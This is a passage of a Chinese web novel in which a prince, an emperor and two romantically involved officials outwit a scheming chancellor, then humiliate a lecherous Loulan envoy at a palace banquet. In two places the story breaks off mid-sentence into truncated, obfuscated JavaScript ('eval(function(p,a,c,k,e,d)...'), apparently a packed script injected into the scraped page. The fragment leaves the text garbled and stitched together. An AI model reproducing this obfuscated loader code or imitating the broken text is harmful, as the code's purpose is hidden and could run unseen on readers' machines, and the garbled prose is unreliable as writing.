瑞王眼底满是笃定与愉悦,眉眼间的笑意压都压不住:“季乐音半点风声不漏,从无一事瞒着我。” 虞睿祥看着他这副藏不住得意、狡黠鲜活的模样,无奈失笑,抬手指指他:“你这点心思藏不住的笑,看着倒是有些碍眼。” 瑞王抿紧薄唇,试图压下唇角上扬的弧度,可眼底的明媚雀跃依旧翻涌不止,终究难掩分毫。 见他这般模样,虞睿祥摆摆手,语气恢复平和:“无妨,继续说。” 在右丞相提出借助外力之前,瑞王只当他暗中打探是想摸清自己的底细,防备自己争权或是伺机拉拢。 瑞王收敛笑意,眼神锐利了几分,尽显布局者的沉稳:“故而从一开始,臣弟便刻意顺水推舟,稍稍放出破绽,步步引导,引他主动入局、深陷其中。” “如今棋局已成,该轮到臣弟引他入瓮了。” 前朝旧例,但凡亲王将生母太妃接回封地奉养便是卸下了宫中桎梏,再无后顾之忧。 更有前朝亲王借着归藩奉养太妃的由头示弱蛰伏,待时机成熟便举兵造反、自立为王。 世人皆懂此理,且看楚毅得知消息,会作何揣测、何等反应。 虞睿祥听罢,心中了然,抬手衣袖轻扬。 一道玄色身影自廊下阴影中无声浮现,气息沉寂、身形挺拔,单膝跪地,全程悄无声息,宛若融入暗影之中,正是御前暗卫。 “修延此刻应当尚未走远,暗中传朕口谕,命他紧盯右丞相的一举一动,细细探查其暗中往来、所有异动。其余无关之人,不必理会。” 暗卫俯首领命,无声静待。 瑞王怔住微微张唇,满眼震惊难以置信:“臣弟今日才刚派季乐音接触右丞相,此事极为隐秘皇兄竟已然知晓?” 虞睿祥并未细说始末,神色平静无波,只是淡淡颔首:“嗯,原先只以为此人是右丞相暗中安插在你身侧的眼线。” 这一刻,瑞王心底 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燕修延不死心,放软语气,摆出同僚情面:“都是替陛下办事的自己人,你悄悄告诉我一声,我省得再折返回去打扰陛下,也省些麻烦,两全其美,多好?” 暗卫依旧面无表情,语气分毫不变:“无可奉告。” 燕修延眼底的笑意淡了几分,语气微微沉下,带着几分施压的意味:“我劝你最好跟我说实话。” “无可奉告。” 三个字来回重复,刻板得如同木偶,半点人情不讲。 燕修延气笑了,上下打量着眼前这名油盐不进的暗卫:“行,够规矩。看着眼生得很,新来的是吧。” 他不再多余劝说,反手从怀中取出一枚玄铁鎏金令牌。 暗卫原本古井无波的脸上掀起波澜,瞳孔微缩,身躯下意识紧绷:“你……你是暗卫营指挥使?!” 燕修延慢悠悠收回令牌,揣回怀中,挑眉道:“平日都是副指挥使操练管束你们,你不认得我也属正常。现在能说了?” 震惊过后,暗卫依旧恪守规矩,垂首正色道:“属下只听命于陛下,此乃暗卫营铁律,无可奉告。” 燕修延气结,这死板迂腐的破规矩还是他亲手定下的! 今日倒是反过来将他自己堵得哑口无言! 他也不放手就这么揪着暗卫的衣领,干脆直接提着人,转身往御书房方向走,打算直接找陛下问个清楚。 行至御书房外,恰好遇见候在殿外的苏公公。 一番询问才知,在他离开之后陛下就去找瑞王在锦鲤池密谈,还屏退了所有近身宫人。 燕修延心中有数了。 今日突然现身、暗中接触右丞相的神秘之人,必然与瑞王有关。 燕修延松开手,拍了拍暗卫的肩膀,一脸无奈恨铁不成钢:“你看看你,死板成这样。你若是悄悄告诉我,我今日便欠你一个人情,往后在暗卫营,我也好照拂你几分。做人做事,何必这般不知变通?” 暗卫依旧面无表情,语气坚定刻板:“属下唯遵陛下号令,恪守营中规矩。” “行行行,算你厉害,知道了。” 燕修延无奈翻了个白眼,彻底放弃说服这根“硬木头”。 抬眼望了望天色,日头渐斜,时辰不早,他索性转身离开,打算去中部看一看谢伟恒,想必对方手头的差事也该处理完毕了。 正好找谢伟恒好好吐槽一番,今日撞见的这个死板至极的木头暗卫,简直能把人憋出内伤。 抵达中部时,刚至庭院门口便撞见谢伟恒处理完公务从屋内走出。 燕修延眉眼舒展,扬起爪子轻快挥了挥:“伟恒,忙完啦?” 谢伟恒上前几步自然接过他手中提着的物件:“嗯,刚从陛下那边过来?” “对,还撞见个彻头彻尾的一根筋,死板得要命,气我半天。” 燕修延撇撇嘴,絮絮叨叨,将被暗卫死板规矩堵得无话可说的憋屈遭遇,细细说与谢伟恒听。 “虽说他这样没毛病吧,可我挺想揍他的,太气人了。” 178. 藏了800心眼的谢书令 “他恪尽职守,所作所为本就无可厚非。” 谢伟恒微微俯身,温热的气息拂过燕修延的耳廓,嗓音压得极低:“燕大人若是心里有火气,不必憋着,尽管往我身上撒便是。” 燕修延耳根微痒,眉梢轻轻一蹙,抬手伸出一根修长的食指抵在谢伟恒光洁的额间,将凑近的人轻轻推远些许:“大白天的,还请谢书令恪守礼数、矜持几分,多谢配合。” 谢伟恒狭长的眼眸弯起一抹狡黠的弧度,薄唇勾出浅浅笑意,目光灼灼地锁着眼前人:“你我之间朝夕相伴,何须言谢。” 燕修延品出了他话里的意味——不矜持,亦无需言谢。 他没忍住扯了下嘴角,眼底浮起一抹浅淡的嫌弃却无半分真的不悦:“没皮没脸的。” 说罢转身抬步,衣袍翻飞间带着利落气场:“走了。” 二人并肩登上停靠在街边的马车,车帘落下,隔绝外界所有视线。 谢伟恒从精致的描金食盒中取出一碟软糯的糕点,捏起一块抬手递到燕修延唇边:“一路劳顿,燕大人先垫垫肚子。” 燕修延微微偏头,张口轻轻一咬,直接吞掉大半块糕点,清甜的香味在舌尖蔓延开来。 他抬眸看向身侧笑意温柔的人,眼底带了点促狭:“我若是先吃,可就没打算给你留半点了。” 话音未落,他随手捞过搁置在一旁的青梅酒,抬手仰头利落又随性地灌了一口。 甜软糕点混着酒气在口中交织,滋味古怪又独特。 “……糕点配酒,口感着实奇怪。” 他话音刚落,身侧人影凑近。 谢伟恒抬手轻轻扣住燕修延的下巴,指腹摩挲着细腻温热的肌肤,俯身吻了下来。 吻轻柔又缠绵,带着浅浅的酒香与糕点香味,辗转片刻才缓缓退开。 他眸光幽深,染着细碎笑意,低声呢喃:“确实奇怪,可若是佐以燕大人便称得上世间最香甜可口的滋味。” 油嘴滑舌的调子听得燕修延心头微痒,他抬手捏起一块糕点塞进谢伟恒喋喋不休的嘴里:“闭嘴吧你。” 敛去眼底细碎的暖意,燕修延神色沉了几分,回归正事:“说正经的,今日瑞王进京,他身边的人私下去见过右丞相。” 谢伟恒含着口中软糯的糕点,慢条斯理地咀嚼着,眸中笑意尽数褪去,眼底翻涌着深沉的思忖。 片刻后,他开口字字通透精准:“瑞王素来淡泊权位,对皇权从无半分觊觎之心。此番私下接触楚毅,无非两种可能——要么是早已被楚毅暗中收买拉拢,要么,便是故意做戏掩人耳目。” 燕修延抬眸静静望着他,眼底藏着清晰的赞叹。 不得不说,谢伟恒心思缜密、智计卓绝,一点蛛丝马迹便能看透朝堂棋局,无人能及。 如果能够矜持些就更好了。 谢伟恒似是看穿了燕修延心中所想,眸底笑意再起,目光灼灼地回望过来,带着几分刻意撩拨的意味:“燕大人这般定定看着我,可是心生偏爱?别急,现下场合不便,待回府之后,我任凭大人处置。” “……” 燕修延被他直白的撩拨弄得心头一热,又好气又好笑。 他抬手双手轻轻搭在谢伟恒的肩头,微微用力晃了晃他的身形,眉眼带着浅恼:“把你脑子里那些乌七八糟的奇怪念头,全都给我晃出去!” 这人永远如此,正经事一说完就开始不正经! 次日午后,监察司密报送至燕修延手中:右丞相现身水穷处茶楼,预定雅间,似是专程赴约。 燕修延看着密报上的地名,唇角勾起一抹微凉的浅笑。 这地方选得着实精妙。 他直接定下楚毅隔壁的雅间,落座之后,慢悠悠点了一壶雨前清茶,又备了几碟精致茶点,看似闲散品茶,实则静待动静。 没过多久,门外传来轻缓的脚步声,由远及近,最终停在隔壁门前。 紧接着门板轻启又闭合的细微声响,隔绝了内外动静。 燕修延左手捏着一块点心,右手端着温热的茶杯,身姿慵懒起身,缓步走到靠墙处。 他指尖轻轻一点墙面悬挂的山水古画边角,画上一片雕琢精巧的镂空荷叶叶片应声轻移,露出一处隐蔽的窥孔,刚好能将隔壁雅间的景象尽收眼底。 瑞王和楚毅面对面端坐,身侧立着一道挺拔身影,眉眼轮廓与早前的季乐允一模一样,正是一直伴随瑞王左右的季乐音。 “老师,学生以茶代酒,敬您一杯。” 瑞王端起面前白瓷茶盏,微微起身,对着楚毅拱手一礼,语气温和坦荡:“皇兄已然应允我接母妃前往封地静养,往后若无朝廷诏令我便不再踏足京城了。” 楚毅眸色微动,他精准捕捉到瑞王话中的深意——这是打算彻底抽身,褪去所有皇室争端,安居封地、安稳余生。 这可不行。 瑞王抽身,少了一枚可利用的棋子,于他们的筹谋百害无一利。 楚毅面上笑意不改,语气温和无害:“王爷能了却心愿、侍奉太妃,实属孝心可嘉。不知王爷定于何日动身离京?” 瑞王轻轻摇头,神色淡然:“皇兄念及手足情分,留我在京城小住几日,归期尚且未定。” “既如此。” 楚毅微微颔首,语气温和周全,“待王爷定下归期,务必告知臣一声,臣定当亲自为殿下饯行。” “有劳老师费心,自然会告知。”瑞王含笑应下。 确认了自己想要打探的消息楚毅便不再提及朝堂政事,顺势转开话题,慢条斯理同瑞王闲谈京中琐事,话语温和,看似闲聊家常。 燕修延静静窥听片刻,指尖再次轻点画页,将窥孔闭合,隔绝隔壁声响,转身坐回桌前,眼底掠过一抹无语的嘲弄。 这楚毅当真是无趣至极。 看似天南地北闲谈京中琐事,十句话里倒有八句,拐弯抹角都绕着他和谢伟恒打转。 他回头定要好好叮嘱谢伟恒,在外务必安分守己、恪守分寸。 不过是街边寻常牵手,经旁人传谣被添油加醋传成了当街吻的难舍难分,实在离谱。 燕修延命人继续盯着楚毅的一举一动,寸步不离,他前脚刚离开水穷处,后脚瑞王与季乐音收拾妥当,一同起身离去。 二人登上马车,车帘缓缓落下,彻底隔绝外界窥探。 方才挂在瑞王脸上的温和笑意,淡淡褪去,眉眼间添了几分清冷通透。 他倚在柔软的车壁软垫上,声音清淡无波,缓缓开口:“他单独见你时谨慎戒备、步步小心,唯独约见本王随意多了。” 真当他不知道水穷处背后真正的东家是谢家? 若非他早已提前向陛下坦诚心意、表明立场,今日这场私会,一旦被有心人刻意散播出去,结交朝臣、结党营私、意图干政的重罪帽子他跑不掉的。 季乐音坐在一旁,语气沉稳:“殿下早已向陛下剖明心志,无欲皇权、不争朝堂,楚毅再多心机算计,终究是竹篮打水一场空,枉费心思。” “嗯。” 瑞王轻轻阖上双目,长睫垂落,遮住眼底所有情绪,语气带着几分淡淡的戏谑:“就让他白费心机,暗自筹谋,等最后竹篮打水一场空,看他能不能气疯。” 季乐音轻轻覆上瑞王微凉的手背:“可以向陛下进言,抓捕右丞相之时,出面好好气一气他。” 瑞王微微掀开眼皮,眸色清淡,轻轻反握住季乐音的手,淡淡失笑:“未免太过幼稚,若是把他逼得狗急跳墙,口出恶言诅咒反倒沾染晦气,不值当。” 楚毅离开茶楼,并未返回丞相府,而是辗转去往闹市深处的一家僻静书坊。 他缓步穿梭在书架之间,指尖逐一拂过书页,看似随意挑选闲书,实则暗藏玄机。 紧随其后的人心思缜密,佯装挑选杂记读本,余光始终锁定楚毅默默将他翻阅、停留过的每一本书籍名目,尽数牢记于心。 准备离开时,他瞥见一名身形粗犷的陌生汉子走到方才楚毅驻足的书架前,精准拿起一本楚毅翻过又搁置回去的闲书。 他眸光一凝不 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燕修延指尖轻轻摩挲着书页纹路,他已然命人死死盯住那名买书之人,顺藤摸瓜,探查背后关联,自己则是把书翻开看了一遍。 “这话本,讲的是一对情深义重的好兄弟,遭小人恶意挑拨离间,心生嫌隙、彼此猜忌,最终反目成仇、兄弟阋墙的故事。” 书中桥段皆是设计栽赃、刻意构陷,弟弟受难所有线索尽数指向哥哥,让人无从辩驳。 谢伟恒俯身撑在案边,垂眸快速浏览书中关键情节,稍一思忖,瞬间看透其中玄机:“若此书是楚毅用来暗中传递的密信暗号,那他的意图再明显不过——暗中派人对瑞王下手,制造事端再刻意伪造线索、布下陷阱,将所有罪责尽数栽赃到陛下身上。” 这番阴毒算计,恰好与李想心中的筹谋不谋而合,歹毒至极。 燕修延撇撇嘴,眼底满是讥诮,语气轻嘲:“啧啧,世人皆说文臣儒雅端正,殊不知这些读书人心眼子最多。” 谢伟恒忽然抬手稳稳攥住燕修延微凉的手轻轻按在自己温热的心口处,眸底盛满温柔缱绻,笑意灼灼:“燕大人可不能一竿子打翻一船人。你且好好摸摸,我的心眼自始至终只有你一个。” 燕修延指尖微微用力毫不留情地在他胸口软肉上轻轻拧了一把,语气清冷带俏:“你?你藏了八百个心眼,句句都是花言巧语。” “嘶!” 骤然传来的轻微痛感让谢伟恒身形微顿,他眉头轻轻蹙起,眼底泛起一层细碎的水光,一副隐忍吃痛的模样,看着格外惹人怜惜。 燕修延见他反应这般明显,嘴上不饶人,轻声调侃:“现在知道疼了?看你以后还敢不敢随口乱说话、胡乱撩拨人。” 手上动作却早已软了下来。 他怕力道过重拧出青紫淤痕,指尖微微一动伸手拉开谢伟恒的衣襟查看, 谢伟恒肌肤本就白皙,若是拧伤了,得上点药。 “你装得真像。” 燕修延松开抓着谢伟恒衣襟的手,干脆利落将人推开半寸:“就只是微微泛红而已,一点破皮淤青都没有,你这眉头皱得倒像是我生生拧掉你一块肉一般。” 谢伟恒顺势反手牢牢握紧燕修延收回的手,将其紧紧贴在自己温热的胸口肌肤之上。 他微微低头,凑近燕修延耳畔,薄唇勾起缱绻又深情的笑意:“旁人碰我分毫无关痛痒。可偏偏是燕大人指尖轻轻一拧,便直接落在了我的心上,疼得刻骨铭心,反应自然大了些。” “……” 燕修延皮笑肉不笑地抬眸:“撒手,不然我真给你拧下一块肉来。” 沉稳的心跳声透过掌心传遍四肢百骸,震得燕修延掌心微微发麻,耳根不受控制地泛起薄红。 谢伟恒不仅未松手反而抬手指腹轻轻摩挲着燕修延泛红的耳垂,动作温柔又缱绻:“我的人、我的命尽数都是正使大人的。区区一块皮肉大人想抓便抓,我心甘情愿,毫无怨言。” 注: 右丞相楚毅三十多了,103章时的楚毅还没有暴露,作者写的有点年轻化了 179. 美其名曰进献给陛下? 瑞王在京城悠悠闲闲玩乐了数日,终是到了启程归封地的日子。 临行之际,虞睿祥抬手一挥直接调拨五百精锐禁军,列队护送瑞王与随行的“太妃”一行人离京。 给出的理由冠冕堂皇,挑不出半分错处:太妃此番离京,随行辎重细软、古玩物件堆积如山,数量繁杂,而前往封地的路途千里迢迢、山水阻隔,艰险难行。 五百禁军随行,一来可全程护卫他们安危,杜绝路途匪患、意外侵扰;二来兵士人手充足,恰好能帮忙搬运护送海量物资,免去一路奔波劳碌。 暗地里蛰伏想要刺杀瑞王的人,终是找不到半分下手的破绽。 消息几经辗转,隐秘传到了楚毅耳中,他沉默静坐了许久,眼底暗流翻涌不知思忖了多少算计,良久才抬手执笔,笔尖蘸饱浓墨在素色信笺上落笔疾书。 书信写罢,他叠得整整齐齐藏入特制的防水油纸之中,层层包裹严实,最后悄悄塞进泔水桶的夹层里。 这封藏于污秽之中的密信很快被接头人悄然取走,一字不落、完完整整地送到了燕修延手中。 可燕修延不知道的是,楚毅写了两封内容各异的密信,另一封已经悄然送入李府了。 “嗯?楼兰使臣的队伍快要抵京了?” 对的,细算时日楼兰使臣行程至此,的确是该抵达京城了。 只是没想到楚毅还会特意关注这个呢。 楚毅密信通篇只提及了两件要事:其一,京郊刺杀瑞王的计划,因禁军重兵护送彻底失败,尽数落空;其二,就是说楼兰使团估计快要到京城地界了。 “你说,他在信中提一嘴楼兰使团会不会是特意为之。” 不等谢伟恒开口,燕修延自顾自的道:“是因为楼兰使团从头到尾都和战马相关。” 一只细小的飞虫嗡嗡盘旋,悄然落于光洁的紫檀木桌面上。 谢伟恒并未立刻答话,修长干净的手指拿起桌边空置的茶杯,手腕轻翻稳稳将茶杯倒扣下去,精准罩住了那只小虫。 小虫被困杯底,慌乱振翅正要伺机逃窜,他指尖微微一动,抬手揭开又骤然扣下,动作闲散从容,透着几分胸有成竹的淡然。 “此去羯国,山路险阻、风波不断,意外耽搁了行程也很正常。” 燕修延听得心头一亮,眉眼弯弯带着几分戏谑调侃:“谢书令,你这肚子里的鬼点子可真是够多呦~。” 谢伟恒心头微动,单手轻轻撑在桌沿,微微俯身凑近燕修延。 两人距离拉近,他唇角勾起一抹撩人浅笑,眸光深邃温热带着几分刻意的诱哄:“若是我的这些鬼点子能帮燕大人排忧解难、稳住大局,那燕大人打算如何赏赐我?” 燕修延望着谢伟恒近在咫尺的俊朗眉眼,伸手轻轻捏住他的下巴,左右端详片刻,故作勉强:“我以茶代酒敬你一杯。” 话着,他抬手提起桌边的茶壶,仰头含了一口清茶,不等茶水咽下主动倾身吻上谢伟恒的唇,将口中的茶水渡过去。 唇齿相贴,清茶微甘,暖意缠绵。 谢伟恒扣住燕修延的后颈,微微加深这个吻,薄唇贴着他的唇角,嗓音低沉缱绻,带着细碎的笑意:“那我,亦敬燕大人。” 一吻作罢,燕修延微微退开,指尖轻轻从自己舌尖捻下一片细碎的茶叶:“你好没诚意,敬茶连茶叶都没滤干净。” 谢伟恒拿起桌上的茶壶,作势要再倒一杯:“是我疏忽了,这便重新敬燕大人一杯。” “拉倒吧。” 燕修延伸手抵在谢伟恒的肩头,轻轻将人推开,神色恢复几分正色,“我还有要事得去一趟监察司。” 他起身快步离去,径直抵达监察司内堂寻到等候在此的柳岚,取过两瓶特制的秘药。 一瓶他仔细收好,贴身藏起,另一瓶递给一个手下:“你去追上白天铎和肖泽,他们沿途留了记号,将此药交给他们。” 白天铎与肖泽接过药瓶,只一眼便看懂了燕修延的谋划与用意。 两人对视一眼,眸光交汇,眼底同时掠过一抹心照不宣的、带着恶意的狡黠笑意。 奉命传递密信的人忽然毫无来由地浑身骤冷,狠狠打了个寒颤。这青天白日的、风都是热风,怎么好端端的突然觉得有些凉意? 他只当是连日赶路体虚,未曾多想,依旧按原定计划伺机待动。 可直到楼兰使者抵达京城,送信人都没能离开京郊。 在街边小摊随意吃一碗面食,不过片刻便腹痛难忍、腹泻不止。 换了城中最华贵的大酒楼,点满精致菜肴,依旧难逃腹泻窘境。 野外无处觅食,亲自捕猎野味烤熟果腹,照旧腹痛泻肚。 到最后就连他随行坐骑,饮了几口山间河水,也同样上吐下泻、萎靡不振。 反反复复的腹泻折腾,日夜不休,短短数日,便将身强力壮的探子折磨得面色蜡黄、身形虚脱,整个人精气神尽数溃散。 虞睿祥设宴款待楼兰使臣时,送信的实在撑不住,拖着虚弱残破的身子,气息奄奄、步履蹒跚地从医馆之中挪步而出。 坐馆大夫反复诊脉,最终只得出一个寻常结论:湿热下注、脾胃失和、正气亏虚,故而饮食稍有不慎便会反复腹泻、难以痊愈。 几剂汤药服下,缠绵多日的腹泻总算暂时止住。 送信的勉强支撑着回到城中客栈,开好客房,推门而入便一头栽倒床榻之上,倒头酣睡,屋内震天的鼾声此起彼伏,尽显连日透支的疲惫。 白天铎悄无声息伏在窗棂暗处,指尖轻轻挑开一丝窗纸,听着屋内粗重的鼾声,扭头对着身侧的肖泽挤眉弄眼:“你说,咱们头儿要是沾了这药……” 肖泽神色淡漠,目不斜视,淡淡吐出一句:“杀了我也救不回来你。” 白天铎悻悻摸了摸鼻尖,在心中默默盘点监察司的兄弟,最终决定——到时候给右丞相喂一点吧! 他们风餐露宿、日夜追踪,受尽奔波劳苦,归根结底,皆是右丞相导致的。 大殿之内,正端坐席间、静静观赏歌舞的楚毅,毫无征兆地打了一个冰冷的寒颤。 心头莫名一紧,寒意骤生。 他指尖微顿,不动声色地端起身前酒杯,借着饮酒的动作,眸光快速扫过整座大殿。 一派安稳盛景并无任何异常异动。 楚毅眸光微敛,压下心底无端的不安,收敛心神再次将目光落回殿中翩跹起舞的舞姬身上。 殿中丝竹悠扬,一曲终了,余音绕梁。 舞姬们身姿袅袅,步履轻盈,井然有序地躬身退下大殿。 阿赫连漠的目光自始至终黏在一众容貌姣好、身姿曼妙的舞姬身上,目不转睛,贪恋十足。 直至殿中再无舞姬身影,他才恋恋不舍地收回目光,转头看向高位之上的虞睿祥。 “大虞皇帝陛下,国师说贵国愿意用威力绝伦的武器跟我们换马,不知此事可否属实?” 楚毅立刻竖起耳朵听。 大殿里不知情的官员目光也齐刷刷汇聚过来。 非常厉害的武器? 工部侍郎心头一紧,悄悄给燕修延递去一个担忧的眼神:真的不会露馅?万一露馅便是两国邦交大祸! 燕修延淡淡递给他一个安定的眼神,示意他安心稳神,一切尽在掌控。 虞睿祥神色从容,不紧不慢地放下手中酒杯,嗓音平稳威严:“不是换,是赠予。使者无需心急,明日朕便命人演示武器威力,让使团众人亲眼见证。” 阿赫连漠还欲开口追问细节、打探虚实,虞睿祥眸光轻扫,一个眼神示意下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他嗓音压低,带着几分慵懒的戏谑,轻声唤道:“谢书令……” 杯盏相碰的间隙,眼见着阿赫连漠愈发放肆,手愈发不规矩肆意轻薄近身舞姬。 虞睿祥面色也沉了下来,眼底掠过一丝不耐与愠怒。 他不愿再看这般不堪丑态,当即抬手,沉声吩咐:“将楼兰此次进献的美人带上殿来。” 阿赫连漠闻声,方才肆意作乱的手骤然收回,暂且收敛了轻浮姿态,故作端正坐好。 片刻后,数名容貌明艳、身姿热烈的楼兰美人身着异域华服,步履款款走入大殿,躬身行礼。 虞睿祥淡淡抬眸,扫了一眼,随即示意方才伺候在阿赫连漠身侧的大虞舞姬起身退下。 “我大虞舞姬性情温婉内敛,不似楼兰女子热烈明艳,亦不懂外族伺候人的章法。今日便让楼兰本土美人伺候楼兰使臣,定然得心应手、轻车熟路。” 此言一出,阿赫连漠心中涌起一阵浓烈的失落与无趣。 楼兰进献的美人,他在出发前便尽数见过、接触过,早已毫无新鲜感。他此番入京,最贪恋的便是大虞女子的温婉娇柔、清雅别致,新鲜又动人,远胜楼兰美人。 温柔乡被尽数撤去,只剩早已看腻的同族美人近身伺候,阿赫连漠兴致全无,再也维持不住表面的恭敬,忍不住开口出声,语气带着几分放肆与不甘: “皇帝陛下太过谦虚了,贵国的舞姬温柔体贴、伺候周全,万般妥当。这些美人乃是楼兰进献给陛下的,是专属陛下的佳人,让她们屈尊伺候我等外臣,委实不太合适。” 燕修延乐了,挨着谢伟恒用只有两人能听见的声音轻笑道:“他好勇。” 谢伟恒唇角噙着一抹凉薄的浅笑,语气戏谑:“所谓勇者往往最先入坑。他这般沉不住气,恰好遂了我们的心意。” “进献给陛下的美人,陛下尚且未曾嫌弃、尽数容纳,他倒妄言不合适上了。” 礼部尚书看阿赫连漠不太顺眼,说话时没太注意压低声音:“我看他分明是嫌弃这些美人,楼兰什么意思啊,把自己瞧不上、弃之不用的女子送咱们大虞来,美其名曰进献给陛下?” 180. 我可没说我要当英雄 “宁大人的性子真讨喜。” 燕修延支着手肘,唇角勾着几分促狭的笑,望着被众人打趣的礼部尚书。 这延伸、曲解别人话里意思的本事,跟惯会插科打诨的温瑞一定很聊的来。 正暗自思忖着,腰侧忽然传来一阵微麻的触感,力道不轻不重,带着几分隐晦的嗔怪。 燕修延侧过眼,斜睨着谢伟恒沉静含笑的目光里:“整个大虞上下就数你最讨喜,这行了吧。” 吏部尚书摆出正色,装模作样伸手虚拉一把礼部尚书,故作严肃地出声提点:“宁大人,大殿之上乃是两国会面的庄重场合,还请慎言。有什么私话不妨待宴席散去,回府之后关起门咱们再畅谈也不迟。” 虞睿祥神色淡然,眉宇间不见半分波澜,淡淡开口打圆场:“宁卿素来心直口快,并无恶意,还望楼兰诸位使者莫要介怀。” 可这番客套的安抚,半点没能抚平阿赫连漠心头的不快。 他本就因先前几次交锋憋了火气,此刻脸色沉得如同覆了寒霜,满心的不悦直白地摆在脸上。 唯有国师端着酒盏,悠然自酌,目光漫不经心地扫过殿中众人,半点没有出面调和的意思,只抱着看戏的心态冷眼旁观。 对于阿赫连漠,他打心底里厌弃,这玩意曾经还试图逼迫阿依兰若,行事蛮横荒唐,如今到了大虞皇宫,依旧不知收敛。 什么东西。 内侍捧着酒壶上前,欲将酒杯递到阿赫连漠唇边却被他抬手一把推开。 杯盏碰撞发出轻响,阿赫连漠扯着生硬的语调,字字都带着讥讽:“大虞确实是礼、仪、之、邦。” 礼部尚书一本正经地点头应道:“这个你此言很中肯,我无从辩驳。” 阿赫连漠的脸色愈发难看,额角青筋隐隐跳动。 静观许久的国师慢悠悠开口,语气平淡得如同闲谈:“皇帝陛下有所不知,这些女子皆是楼兰挑出的拔尖美人,只是阿赫连漠他见的美人太多了。” “哦?” 燕修延倏然撩起眼皮,狭长的眼眸里掠过一抹玩味,话语意有所指,拉长了语调追问:“照国师这么说,这些美人,阿赫连漠都一一‘见’过了?” 他特意加重了“见”字,其中深意耐人寻味。 国师眼底闪过一丝假意的迟疑,连忙摆手:“自然没有,断然没有此事。” 殿内其余楼兰使团成员见状,也纷纷跟着附和辩解。 燕修延问完便不再多言,垂首自顾自饮酒夹菜,仿佛方才只是随口一问。 大殿里的气氛悄然变得微妙起来。 多数大臣抱着看戏的心态,端着酒杯低声说笑,只有少数心思单纯的,只顾着安心享用宴席佳肴,对周遭暗流视而不见。 虞睿祥不愿再任由气氛僵持,抬手击掌两声,朗声打破沉寂:“司乐坊近日编排了一支新舞,颇有新意,朕邀诸位一同观赏。” 殿外缓步走入数十名舞姬。 她们一身利落玄色软甲,身姿挺拔,手中长剑寒芒熠熠,入场之后迅速列阵,动作整齐划一,进退之间英气逼人,全然不见寻常舞姬的柔媚。 燕修延摸摸下巴,一眼看出端倪,轻声笑道:“不用猜,这支剑舞定是凤嫔娘娘亲自指点的。” 不出他所料,阵中舞姬齐齐屈膝下蹲,相互以手臂与长剑搭成一座高台。 居于阵列中央的女子足尖一点地面,身形凌空腾起,利落的后空翻稳稳落在剑架之上,剑锋冷光流转,险象环生,却又美得惊心动魄。 “好!” 虞睿祥看得尽兴,率先抚掌大笑,眼中满是赞赏:“爱妃的剑舞如今越发凌厉飒爽了。” 凤嫔借着脚下长剑的力道再度凌空跃起,几个起落稳稳落在帝王身侧。 虞睿祥起身伸手接过她手中长剑,顺势拉着她落座,目光扫过全场,语气骄傲:“我大虞女子,风骨飒然,英气半分不逊男子!” 阿赫连漠目光死死黏在方才近前献舞的舞姬身上,那女子一身软甲,眉眼锐利,手握长剑时锋芒毕露,和楼兰娇柔的女子截然不同。 他心中邪念丛生,目光放肆地在对方身上来回打量,眼底满是露骨的贪欲。 这般带着锋芒的女子,看着别有一番韵味。 若是睡起来揽入身边,定然滋味不凡。 燕修延咬着筷子,纳闷的很。 这阿赫连漠当真是色胆包天,就不怕人家姑娘给他阉喽? 看这模样,舞姬怕是恨不得当场将他双眼剜去。 国师低声提醒:“阿赫连漠,收敛些目光,你的目光太过露骨失礼。” 坐在旁边的使臣纷纷侧目,也不由的点了下脑袋。 这里终究是大虞的土地,强龙不压地头蛇,行事不宜太过张扬。 阿赫连漠全然不以为意。 大虞如今急需楼兰良马,大王子被滞留在京中为人质不也是这个原因么? 说到底是大虞有求于楼兰。 不过是一名寻常舞姬罢了,就算举止出格,对方也不敢真的为难自己。 虞睿祥将楼兰使团人的所有神态、心思尽收眼底,唇角勾起一抹冷冽的弧度。 阿赫连漠越是自大轻狂,接下来的局面便越好掌控,正中他下怀。 呵。 凤嫔端起一杯美酒递到虞睿祥唇边,凑近他耳畔,声音压得极低,带着几分冷意:“陛下,臣妾想让这阿赫连漠永远留在此地,再不能作乱。” 虞睿祥饮下杯中酒,不动声色地摇头:“暂且等等,此人于朕而言还有用处。” 夜色渐深,宫宴终于落幕。 众人依次退场,阿赫连漠却心不在焉,频频转头望向舞姬离去的宫道,脚步不由自主地跟了上去。 “阿赫连漠,留步!” 国师快步上前拉住他,语气故作严厉:“此处是大虞皇宫后宫禁地,万万不可乱闯!” 阿赫连漠嗤笑一声,满是不屑:“在楼兰王宫我亦是随意行走,区区大虞皇宫又有何妨?” 国师不过是做做样子阻拦。 阿赫连漠依附楼兰现任国王,与被困大虞的大王子素来不亲近。 他若是在大虞犯下弥天大错,被大虞皇帝治罪甚至斩杀,对大王子而言便是除去一大劲敌,于自己更是有利无害。 阻拦一番后国师便顺势松开了手,任由阿赫连漠离去。 “走,跟着去瞧瞧,上演一出英雄救美。” 燕修延拽了拽谢伟恒的衣袖,眼底满是看热闹的兴致。 谢伟恒低声重复四个字,眼底掠过一丝委屈:“英雄救美……接下来莫非还要以身相许?” 燕修延抬手轻轻捏了捏谢伟恒的掌心,笑意狡黠:“饭可以乱吃,话可不能乱讲哦~我可没说我要当英雄,依我看陛下早有安排。” 虞睿祥确实是有所安排的,但他没安排英雄救美的戏码。 二人借着夜色与廊柱掩护,悄然跟在后方。 行不多远,前方已然临近后宫地界,朱红宫墙层层叠叠。 燕修延脚步一顿,瞬间明白了陛下的盘算,原来帝王打的是这般主意。 谢伟恒从袖中摸出一小包瓜子,分出一把递给燕修延,轻声劝道:“后宫重地,我们不便深入,就在此处等候便可。” 燕修延接过瓜子,嗑了没几粒,寂静的后宫深处突然传来女子的惊呼声,紧接着便是一道凄厉至极的男子惨叫,刺破了深夜的宁静。 哦豁,用瓜子皮猜一下,阿赫连漠被阉掉喽? 燕修延挑了挑眉,打趣道:“听这动静,怕是如我所想,这位楼兰使臣遭报应了。” 几名神色慌张的宫人跌跌撞撞从宫内奔出,一边奔跑一边高声呼喊:“有刺客!快来人捉拿刺客!” 宫中巡逻侍卫火速集结,手持兵刃朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 